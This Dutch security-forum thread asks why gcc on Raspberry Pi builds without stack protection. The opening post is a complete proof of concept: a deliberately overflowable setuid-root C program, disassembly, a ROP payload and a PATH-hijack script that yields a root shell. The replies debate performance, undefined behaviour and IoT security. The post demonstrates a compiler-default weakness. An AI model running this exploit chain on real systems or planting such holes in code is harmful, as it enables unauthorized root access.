Computerbeveiliging - Hoe je bad guys buiten de deur houdt

Waarom compileert gcc op de Raspberry Pi standaard zonder stack-beveiliging?

24-04-2019, 11:33 door yobi, 21 reacties
Op de Raspberry PI compileert gcc een applicatie standaard zonder stack-beveiliging.

Merk op, dat de adressen per versie Raspbian kunnen variëren.
(test gedaan met 2019-04-08-raspbian-stretch-lite.img)
POC:

ropme.c ?
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
char buffer[24];
char command[]="/usr/bin/uptime";

system(command);

printf("ROP me : ");
fgets(buffer, 100, stdin);
}

pi@raspberrypi:~/overflow $ gcc ropme.c -o ropme
pi@raspberrypi:~/overflow $ sudo chown root:root ropme
pi@raspberrypi:~/overflow $ sudo chmod 4755 ropme

pi@raspberrypi:~/overflow $ objdump -d ropme
…..
104e8: e88c000f stm ip, {r0, r1, r2, r3}
104ec: e24b302c sub r3, fp, #44 ; 0x2c
104f0: e1a00003 mov r0, r3
104f4: ebffffa0 bl 1037c <system@plt>
104f8: e59f002c ldr r0, [pc, #44] ; 1052c <main+0x64>
104fc: ebffff95 bl 10358 <printf@plt>
10500: e59f3028 ldr r3, [pc, #40] ; 10530 <main+0x68>
10504: e5932000 ldr r2, [r3]
10508: e24b301c sub r3, fp, #28
…..
00010598 <_fini>:
10598: e92d4008 push {r3, lr}
1059c: e8bd8008 pop {r3, pc}

pi@raspberrypi:~/overflow $ objdump -s ropme
…..
Contents of section .rodata:
105a0 01000200 524f5020 6d65203a 20000000 ....ROP me : ...
105b0 2f757372 2f62696e 2f757074 696d6500 /usr/bin/uptime.
Contents of section .ARM.exidx:

pi@raspberrypi:~/overflow $ printf \
"1234567890123456789012345678\x9c\x05\x01\x00\xbc\x05\x01\x00\xf0\x04\x01\x00" >exploit

pi@raspberrypi:~/overflow $ PATH=/tmp:$PATH
pi@raspberrypi:~/overflow $ cp /bin/sh /tmp
pi@raspberrypi:~/overflow $ echo chown root:root /tmp/sh >/tmp/ime
pi@raspberrypi:~/overflow $ echo chmod 4755 /tmp/sh >>/tmp/ime
pi@raspberrypi:~/overflow $ chmod 755 /tmp/ime

pi@raspberrypi:~/overflow $ ./ropme < exploit
10:18:37 up 19 min, 1 user, load average: 0.00, 0.00, 0.00
Segmentation fault
pi@raspberrypi:~/overflow $ /tmp/sh
# id
uid=1000(pi) gid=1000(pi) euid=0(root) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
#
Reacties (21)
24-04-2019, 11:38 door Anoniem
Bedankt voor deze constatering. Wat is precies je vraag?

Prima en wat nu? Wat verwacht je nu precies verder van je topic?

Misschien moet je dit even posten of een forum van of raspbian stretch lite beheerders? Of op een gcc forum?

Waar kunnen ze iets met deze informatie.
24-04-2019, 12:23 door Anoniem
Waarschijnlijk omdat al die extra beveiliging dat ding extra langzaam maakt.
24-04-2019, 12:52 door Krakatau
24-04-2019, 13:24 door Anoniem
Ofwel IOT en Linux issue?

Whats new....
24-04-2019, 13:52 door Anoniem
De Raspberry draait op een Debian variant en is een mini-server. Waar je alles voor kunt vinden. Mits je bereid bent een goeie mini-systeembeheerder te zijn natuurlijk. Ander moet je gewoon een iPhone kopen. Daar is alles al voor je gedaan. Zit een betere processor in ook nog, voor je geld. Dat is een veel beter product voor de slimmere consument.
24-04-2019, 15:13 door Anoniem
Door yobi: Waarom compileert gcc op de Raspberry Pi standaard zonder stack-beveiliging?

Ligt voor de hand. Om redenen van performence en ontwikkelingskosten. Een Raspberry Pi is kinderspeelgoed, en zeker geen internet backbone router.

Verstandige mensen plaatsen een onveilige Raspberry Pi daarom thuis achter de firewall van een LAN-router, of ze zetten er OpenBSD in plaats van Linux op de Pi :-)
24-04-2019, 15:33 door Anoniem
Door Anoniem: De Raspberry draait op een Debian variant en is een mini-server. Waar je alles voor kunt vinden. Mits je bereid bent een goeie mini-systeembeheerder te zijn natuurlijk. Ander moet je gewoon een iPhone kopen. Daar is alles al voor je gedaan. Zit een betere processor in ook nog, voor je geld. Dat is een veel beter product voor de slimmere consument.

Een Raspberry Pi met een iPhone vergelijken slaat natuurlijk helemaal nergens op. Twee volledig verschillende apparaten.
24-04-2019, 15:58 door Krakatau
Door Anoniem: Ofwel IOT en Linux issue?

Whats new....

Euh? Hoezo? Rasperry Pi kan voor IoT worden toegepast en er staat Linux op. De 'issues' die daarbij kunnen ontstaan betreffen veelal slecht configureren (geen of default passwords, onnodige services, etc.) en geen mogelijkheid tot gemakkelijk updaten van het apparaat.

Wat heeft dit met stack protection te maken? Het is mooi om te hebben maar zonder kan ook.
24-04-2019, 19:18 door Anoniem
Door Anoniem: De Raspberry draait op een Debian variant en is een mini-server. Waar je alles voor kunt vinden. Mits je bereid bent een goeie mini-systeembeheerder te zijn natuurlijk. consument.
En daar gaat het nu iedere keer fout.
24-04-2019, 19:24 door Anoniem
Door Anoniem:
Een Raspberry Pi met een iPhone vergelijken slaat natuurlijk helemaal nergens op. Twee volledig verschillende apparaten.
Meest goedkoopste en meest duurde is kan je inderdaad niet met elkaar vergelijken.
25-04-2019, 09:03 door Anoniem
Bedankt voor je bijdrage! Waarvan notie!
25-04-2019, 15:22 door Anoniem
Dat stuk code is niet goed. Het moet zijn:

fgets(buffer, sizeof(buffer), stdin);

Je krijgt de gereedschappen om je tegen bufferoverruns te beveiligen in handen en nog verprust je het. Sheesj.
25-04-2019, 19:40 door [Account Verwijderd] - Bijgewerkt: 25-04-2019, 19:41
Door Anoniem: Dat stuk code is niet goed. Het moet zijn:

fgets(buffer, sizeof(buffer), stdin);

Je krijgt de gereedschappen om je tegen bufferoverruns te beveiligen in handen en nog verprust je het. Sheesj.

Duh... Hij wil juist de stackbeveiliging triggeren met een bufferoverrun van een stackvariabele. Het barst hier echt van de Dunning-Kruger's nietwaar?
25-04-2019, 21:37 door Anoniem
Waarom compileert gcc op de Raspberry Pi standaard zonder stack-beveiliging?
Antwoord:
https://gcc.gnu.org/onlinedocs/gccint/Stack-Checking.html
(je moet het aanzetten door gcc de gewenste optie mee te geven)

Waarom niet default aan?
Het kost performance, het garandeert niet alles, en security kan vaak op een betere manier worden bereikt.
26-04-2019, 08:57 door Krakatau
Door Kapitein Haddock:
Door Anoniem: <knip>
Je krijgt de gereedschappen om je tegen bufferoverruns te beveiligen in handen en nog verprust je het. Sheesj.

Duh... Hij wil juist de stackbeveiliging triggeren met een bufferoverrun van een stackvariabele.
<knip>

Dat lijkt me ook ja. Het staat zelfs in de titel van deze draad.

P.S. ook opgegroeid met Usenet? (die <knip> in de quotes van jouw posts bezorgt me echt een retro trip).
26-04-2019, 10:38 door Anoniem
In de C++ standaard is dit out-of-bounds indexeren van arrays niet gedefinieerd, het veroorzaakt z.g. "Undefined Behavior", dus wat voor gedrag van het programma jij ook persoonlijk verwacht bij een buffer overrun, de C++ standaard geeft je ongelijk. Je moet dan ook niet vreemd opkijken wanneer een C++ compiler zich aan de C++ standaard houdt.
26-04-2019, 12:17 door [Account Verwijderd]
Door Krakatau: P.S. ook opgegroeid met Usenet? (die <knip> in de quotes van jouw posts bezorgt me echt een retro trip).

Yup!
26-04-2019, 14:23 door Anoniem
Door Anoniem:
Door yobi: Waarom compileert gcc op de Raspberry Pi standaard zonder stack-beveiliging?

Ligt voor de hand. Om redenen van performence en ontwikkelingskosten. Een Raspberry Pi is kinderspeelgoed, en zeker geen internet backbone router.

Verstandige mensen plaatsen een onveilige Raspberry Pi daarom thuis achter de firewall van een LAN-router, of ze zetten er OpenBSD in plaats van Linux op de Pi :-)

Of gebruik helemaal geen Raspberry Pi voor IOT spul of zaken die bloot aan het open net hangen zonder firewall maar een goedkope thin client met ssd/hdd en wat extra ram met een fatsoenlijke processor(vergeleken met een Pi) erin waar de gewone Debian of aderen Linux distro op kan. By the way, die thin clients hebben ook een zeer laag energieverbruik (cpu heeft een tdpvan een paar watt). Heb er zelf thuis een, wel een met een VIA processor x64 ondersteund. Jammere eraan is wel dat net dit model pprocessor een verborde cpu instruction heeft waarmee je een systeem zou kunnen overnemen. Maar goed, Spectre en Meltdown dan? Hmm bedoel maar...
Thin clientje tik je 2e hands voor 10 a 20 euro op de kop, omdat niemand ze wilt hebben. Ben je goedkoper uit dan de Pi, je hebt alleen geen IO zoals de Pi. Ligt er maar net aan wat je wilt. Gewoon een mini HTPC, dan raad ik de thin client mod aan.
26-04-2019, 16:22 door Anoniem
De Raspberry Pi kun je wel degelijk automatisch patchen. Gewoon een script maken dat apt-get update & apt-get upgrade -y doet en dat in een cron job zetten.
26-04-2019, 18:40 door [Account Verwijderd]
Door Anoniem: De Raspberry Pi kun je wel degelijk automatisch patchen. Gewoon een script maken dat apt-get update & apt-get upgrade -y doet en dat in een cron job zetten.

Misschien een goede tip voor die luie IoT-fabrikanten!
26-04-2019, 21:12 door Anoniem
Dat moet van de VS, zodat zij er altijd toegang tot hebben
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.